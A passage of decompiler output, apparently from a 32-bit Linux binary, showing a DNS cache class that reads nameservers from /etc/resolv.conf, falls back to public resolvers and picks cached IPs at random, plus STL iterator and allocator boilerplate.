CAutoLock_492((struct struct_68 *)&v7, (int32_t)a2 + 16, 1);
int32_t v8;
std__allocator_lt_char_gt__598(v8);
int32_t v9;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v9, (int32_t)a3, v8, v6, v5, 0);
struct struct_3 * v10 = (struct struct_3 *)((int32_t)a2 + 40); // 0x8055218_0
int32_t v11;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find((int32_t **)&v11, &v10->e0, &v9);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9);
std__allocator_lt_char_gt_();
struct struct_3 * v12 = (struct struct_3 *)((int32_t)a2 + 40); // 0x805528b_0
int32_t v13;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end((int32_t **)&v13, &v12->e0);
int32_t v14 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(&v13, &v11); // 0x80552a6
char v15;
int32_t v16; // 0x80552ee
if (v14 == 1) {
// 0x80552b5
g98 = time(&g2->e0);
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11);
int32_t v17 = *(int32_t *)((int32_t)a2 + 64); // 0x80552dd
if (g98 - a4 >= v17) {
// 0x80552ea
v16 = v17;
v15 = 0;
// branch -> 0x80552ee
} else {
v16 = v17;
v15 = 1;
}
} else {
// 0x80552ea
v16 = v14 ^ 1;
v15 = 0;
// branch -> 0x80552ee
}
bool v18 = false; // 0x805537a1
if (((int32_t)v15 || v16 & -256) != 0) {
int32_t v19 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11); // 0x80552fc
struct struct_3 * v20 = (struct struct_3 *)(v19 + 4); // 0x805530a_0
if (std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v20->e0) != 1) {
// 0x805531a
g98 = (int32_t)a1;
int32_t v21 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11); // 0x8055324
int32_t v22 = v21 + 4; // 0x805532c
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)g98, (int32_t **)v22);
v18 = true;
// branch -> 0x805536b
} else {
v18 = false;
}
}
// 0x805536b
CAutoLock_493((struct struct_68 *)&v7);
if (!v18) {
while (true) {
struct struct_3 * v23 = (struct struct_3 *)*(int32_t *)a2; // 0x80553c4_0
struct struct_3 * v24 = (struct struct_3 *)((int32_t)a2 + 4); // 0x80553c5_0
int32_t v25 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(&v24->e0, &v23->e0); // 0x80553c6
int32_t v26 = *(int32_t *)v25; // 0x80553ce
int32_t v27 = (int32_t)a2; // 0x80553d9
int32_t v28 = *(int32_t *)a2; // 0x80553dc
if (((int32_t)(v26 == 0) || v26 & -256) == 0) {
struct struct_3 * v29 = (struct struct_3 *)(v27 + 4); // 0x80553e8_0
int32_t v30 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(&v29->e0, &((struct struct_3 *)v28)->e0); // 0x80553e9
struct struct_3 * v31 = (struct struct_3 *)*(int32_t *)v30; // 0x80553fc_0
CProtocolUtil__GetDomainIPsSpecially(v3, &v31->e0, &a3->e0, (int32_t)v10);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)v1, (int32_t **)v3);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
if (std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v1->e0) != 1) {
// 0x8055461
int32_t v32;
CAutoLock_492((struct struct_68 *)&v32, (int32_t)a2 + 16, 1);
int32_t v33;
CDNSCacheItem_134(&v33, (int32_t **)v1);
int32_t v34;
std__allocator_lt_char_gt__598(v34);
int32_t v35;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v35, (int32_t)a3, v34, (int32_t)a3, (int32_t)v10, v9);
struct struct_3 * v36 = (struct struct_3 *)((int32_t)a2 + 40); // 0x80554be_0
int32_t v37 = std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(&v36->e0, &v35); // 0x80554bf
CDNSCacheItem__operator_eq_(&((struct struct_3 *)v37)->e0, &v33);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v35);
std__allocator_lt_char_gt_();
CDNSCacheItem((struct struct_3 *)&v33);
CAutoLock_493((struct struct_68 *)&v32);
// branch -> 0x8055580
}
// 0x8055580
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1);
// branch -> 0x80555b8
// 0x80555b8
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1);
g98 = v4;
return (int32_t)a1;
}
// 0x8055386
g98 = v28 + 1;
struct struct_3 * v38 = (struct struct_3 *)(v27 + 4); // 0x8055397_0
uint32_t v39 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(&v38->e0); // 0x8055398
a2->e0 = (int32_t *)(g98 % v39);
// branch -> 0x80553b6
}
}
} else {
// 0x8055135
int32_t v40;
std__allocator_lt_char_gt__598(v40);
int32_t v41;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v41, (int32_t)a3, v40, v6, v5, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&v1->e0, &v41);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v41);
std__allocator_lt_char_gt_();
// branch -> 0x8055580
// 0x8055580
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1);
// branch -> 0x80555b8
}
// 0x80555b8
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1);
g98 = v4;
return (int32_t)a1;
}
// Address range: 0x80555d2 - 0x80556f7
int32_t CDNSCache__GetIpFromDomain(int32_t * a1, struct struct_20 * a2, struct struct_3 * a3) {
struct struct_3 * v1 = NULL; // bp-28
int32_t v2 = g101; // 0x80555d5
int32_t v3 = g98; // 0x80555d6
int32_t v4;
int32_t v5;
CDNSCache__GetIpsFromDomain(v1, a2, a3, v5, v4);
int32_t v6 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v1->e0); // 0x80555f6
g95 = v6 ^ 1;
if (v6 == 1) {
// 0x8055665
g98 = (int32_t)a1;
int32_t v7;
std__allocator_lt_char_gt__598(v7);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"", v7, (int32_t)a3, v5, v4);
std__allocator_lt_char_gt_();
// branch -> 0x80556dc
} else {
int32_t time_val = time(&g2->e0); // 0x805560a
srandom(time_val);
g101 = (int32_t)a1;
g98 = rand();
uint32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v1); // 0x805562f
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)g101, (int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v1, (int32_t *)(g98 % v8)));
// branch -> 0x80556dc
}
// 0x80556dc
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1);
g98 = v3;
g101 = v2;
return (int32_t)a1;
}
// Address range: 0x80556f8 - 0x8055889
int32_t CDNSCache__Initialize(char * a1, int32_t a2) {
struct _in_addr v1; // 0x80557e8_0
int32_t v2 = (int32_t)a1; // 0x8055701
*(int32_t *)(v2 + 64) = a2;
int32_t * v3 = (int32_t *)(v2 + 4); // 0x8055728
// branch -> 0x8055713
for (uint32_t i = 0; i < 2; i++) {
// 0x8055713
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &g2->e0);
// PHI copies at the loop end
// loop 0x8055713 end
}
// 0x805573b
__new_fopen((int32_t)"/etc/resolv.conf", 0x80ff4e0);
int32_t result; // 0x805587f
char * v4;
int32_t v5; // bp-28
int32_t v6; // bp-32
if (v4 == NULL) {
// 0x8055835
inet_addr("8.8.8.8");
v6 = g95;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v6);
inet_addr("8.8.4.4");
v5 = g95;
result = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v5);
return result;
}
// 0x805580c
// branch -> 0x805580c
while (true) {
// 0x805580c
// branch -> 0x805580c
char * substr_pos; // 0x80557a9
int32_t v7;
while (true) {
int32_t v8 = _IO_feof((struct _struct__IO_FILE *)v4); // 0x8055812
if (((int32_t)(v8 == 0) || v8 & -256) == 0) {
// 0x8055827
__new_fclose((int32_t *)v4);
// branch -> 0x8055835
// 0x8055835
inet_addr("8.8.8.8");
v6 = g95;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v6);
inet_addr("8.8.4.4");
v5 = g95;
result = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v5);
return result;
}
// 0x8055762
int32_t * v9;
memcpy(v9, (int32_t *)0x80ff3e0, 256);
_IO_fgets((int32_t)v9, 255, (int32_t *)v4, v7);
substr_pos = strstr((char *)v9, "nameserver");
if (substr_pos != NULL) {
// break -> 0x80557ba
break;
}
// continue -> 0x805580c
}
int32_t v10 = CDNSCache__GetFirstNumPos(a1); // 0x80557c0
char * cp = (char *)v10; // 0x80557c0_3
if (v10 != 0) {
// 0x8055806
// branch -> 0x80557da
for (uint32_t i = 0; i < 2; i++) {
// 0x80557da
inet_addr(cp);
v1 = (struct _in_addr){
.e0 = 0
};
v1.e0 = g95;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v1.e0);
// PHI copies at the loop end
// loop 0x80557da end
}
// 0x805580c
v7 = (int32_t)substr_pos;
// branch -> 0x805580c
continue;
}
// 0x805580c
v7 = (int32_t)substr_pos;
// branch -> 0x805580c
}
}
// Address range: 0x80558fe - 0x8055915
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(int32_t * a1, int32_t * a2) {
int32_t v1 = *a2; // 0x8055909
return (((int32_t)(*a1 == v1) | v1 & -256) ^ 1) % 2;
}
// Address range: 0x8055916 - 0x8055923
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(int32_t * a1) {
// 0x8055916
return *a1 + 16;
}
// Address range: 0x8055924 - 0x8055929
void __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8055924
return;
}
// Address range: 0x805592a - 0x8055941
int32_t std__allocator_lt_unsigned_int_gt_(int32_t result) {
// 0x805592a
__gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x805595a - 0x8055965
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(int32_t * a1) {
// 0x805595a
return *(int32_t *)((int32_t)a1 + 8);
}
// Address range: 0x8055966 - 0x8055991
int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(int32_t * a1, int32_t * a2) {
int32_t v1 = _ZnwjPv((int32_t *)4); // 0x8055974
int32_t ** v2 = (int32_t **)v1; // 0x8055974_4
int32_t ** v3; // 0x8055990_11
if (v1 != 0) {
// 0x8055985
int32_t ** v4;
int32_t v5 = *(int32_t *)v4; // 0x8055988
*v2 = (int32_t *)v5;
v3 = (int32_t **)v5;
// branch -> 0x805598f
} else {
v3 = v2;
}
// 0x805598f
return (int32_t)v3;
}
// Address range: 0x8055992 - 0x80559ef
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(int32_t * a1, int32_t * a2) {
int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80559a1
struct struct_3 * v2 = (struct struct_3 *)v1; // 0x80559a1_4
struct struct_3 * v3; // 0x80559ee_21
if (v1 != 0) {
// 0x80559b2
int32_t * v4;
int32_t v5 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2->e0, v4); // 0x80559bb
v3 = (struct struct_3 *)v5;
// branch -> 0x80559ea
} else {
v3 = v2;
}
// 0x80559ea
return (int32_t)v3;
}
// Address range: 0x80559f0 - 0x80559f9
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x80559f0
g95 = (int32_t)a1;
return *a1;
}
// Address range: 0x80559fa - 0x8055a07
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(int32_t * a1) {
// 0x80559fa
return *a1 + 16;
}
// Address range: 0x8055a08 - 0x8055a1f
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_(int32_t * a1, int32_t * a2) {
// 0x8055a08
return *a1 == *a2;
}
// Address range: 0x8055a20 - 0x8055a53
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x8055a2d
int32_t v2 = *a3; // 0x8055a32
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1));
return (int32_t)a1;
}
// Address range: 0x8055a56 - 0x8055a79
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(int32_t * a1, int32_t a2) {
// 0x8055a56
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(a2 + 4));
return (int32_t)a1;
}
// Address range: 0x8055a7c - 0x8055a91
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1) {
// 0x8055a7c
*a1 = *a1 + 4;
return (int32_t)a1;
}
// Address range: 0x8055a92 - 0x8055a97
void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_(void) {
// 0x8055a92
return;
}
// Address range: 0x8055ab0 - 0x8055ab5
void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(void) {
// 0x8055ab0
return;
}
// Address range: 0x8055ade - 0x8055ae3
void __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8055ade
return;
}
// Address range: 0x8055ae4 - 0x8055afb
int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t result) {
// 0x8055ae4
__gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8055b4a - 0x8055b55
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(int32_t * a1) {
// 0x8055b4a
return *(int32_t *)((int32_t)a1 + 12);
}
// Address range: 0x8055b56 - 0x8055b61
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(int32_t * a1) {
// 0x8055b56
return *(int32_t *)((int32_t)a1 + 8);
}
// Address range: 0x8055b62 - 0x8055b71
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x8055b62
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x8055b72 - 0x8055b95
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(int32_t * a1, int32_t * a2) {
// 0x8055b72
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, a2);
return (int32_t)a1;
}
// Address range: 0x8055b96 - 0x8055bc9
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x8055ba3
int32_t v2 = *a3; // 0x8055ba8
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1));
return (int32_t)a1;
}
// Address range: 0x8055bcc - 0x8055c1d
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) {
// 0x8055bcc
int32_t * v1;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(v1, a1);
int32_t * v2;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(v2, v1, a2);
return __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(v2);
}
// Address range: 0x8055c1e - 0x8055c41
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(int32_t * a1, int32_t * a2) {
// 0x8055c1e
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)((int32_t)a2 + 4));
return (int32_t)a1;
}
// Address range: 0x8055c44 - 0x8055c4d
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(void) {
// 0x8055c44
return 0x3fffffff;
}
// Address range: 0x8055c4e - 0x8055c55
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1) {
// 0x8055c4e
return (int32_t)a1;
}
// Address range: 0x8055c56 - 0x8055c6b
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(int32_t * a1) {
// 0x8055c56
*a1 = *a1 + 4;
return (int32_t)a1;
}
// Address range: 0x8055c6c - 0x8055c75
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(void) {
// 0x8055c6c
return 0x3fffffff;
}
// Address range: 0x8055c76 - 0x8055c7d
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1) {
// 0x8055c76
return (int32_t)a1;
}
// Address range: 0x8055c7e - 0x8055cb1
int32_t __gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x8055c8b
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x8055c9b
int32_t v4 = *(int32_t *)v3; // 0x8055ca3
int32_t v5 = ((int32_t)(v2 == v4) | v4 & -256) ^ 1; // 0x8055ca7
g95 = v5;
return v5 % 2;
}
// Address range: 0x8055cb2 - 0x8055d01
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1) {
// 0x8055cb2
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) == 0) {
// 0x8055cff
return 0;
}
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(&NULL->e0);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) != 0) {
// 0x8055cba
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(&NULL->e0);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1);
// continue -> 0x8055cba
}
// 0x8055cff
return 0;
}
// Address range: 0x8055d02 - 0x8055d0d
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(int32_t * a1) {
// 0x8055d02
return (int32_t)a1 + 4;
}
// Address range: 0x8055d0e - 0x8055d1b
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t ** a1, int32_t * a2) {
// 0x8055d0e
*a1 = a2;
return (int32_t)a1;
}
// Address range: 0x8055d1c - 0x8055d3f
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2) {
// 0x8055d1c
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(a1, (int32_t *)((int32_t)a2 + 4));
return (int32_t)a1;
}
// Address range: 0x8055d42 - 0x8055d6d
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2) {
int32_t v1 = g98; // 0x8055d45
g98 = (int32_t)a1;
int32_t ** v2;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v2, a2);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x8055d64
g98 = v1;
return result;
}
// Address range: 0x8055d6e - 0x8055da1
int32_t __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x8055d7b
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x8055d8b
return v2 == *(int32_t *)v3;
}
// Address range: 0x8055da2 - 0x8055def
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(int32_t * a1) {
// 0x8055da2
int32_t * v1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v1, a1);
int32_t * v2;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v2, (int32_t **)a1);
return __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v2, v1);
}
// Address range: 0x8055df0 - 0x8055e3f
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity(int32_t * a1) {
// 0x8055df0
int32_t * v1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v1, (int32_t **)a1);
int32_t v2 = *(int32_t *)((int32_t)a1 + 8); // 0x8055e11
int32_t * v3;
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v3, (int32_t *)v2);
return __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v3, v1);
}
// Address range: 0x8055e40 - 0x8055e4f
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x8055e40
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x8055e50 - 0x8055e7b
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(int32_t * a1, int32_t ** a2) {
int32_t v1 = *(int32_t *)a2; // 0x8055e5d
__gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x8055e7c - 0x8055ea5
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(int32_t * a1, int32_t a2) {
int32_t v1 = *(int32_t *)(a2 + 4); // 0x8055e89
__gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x8055ea8 - 0x8055eaf
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1) {
// 0x8055ea8
return (int32_t)a1;
}
// Address range: 0x8055eb0 - 0x8055ee7
int32_t __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a1); // 0x8055ebd
int32_t v2 = __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); // 0x8055ecf
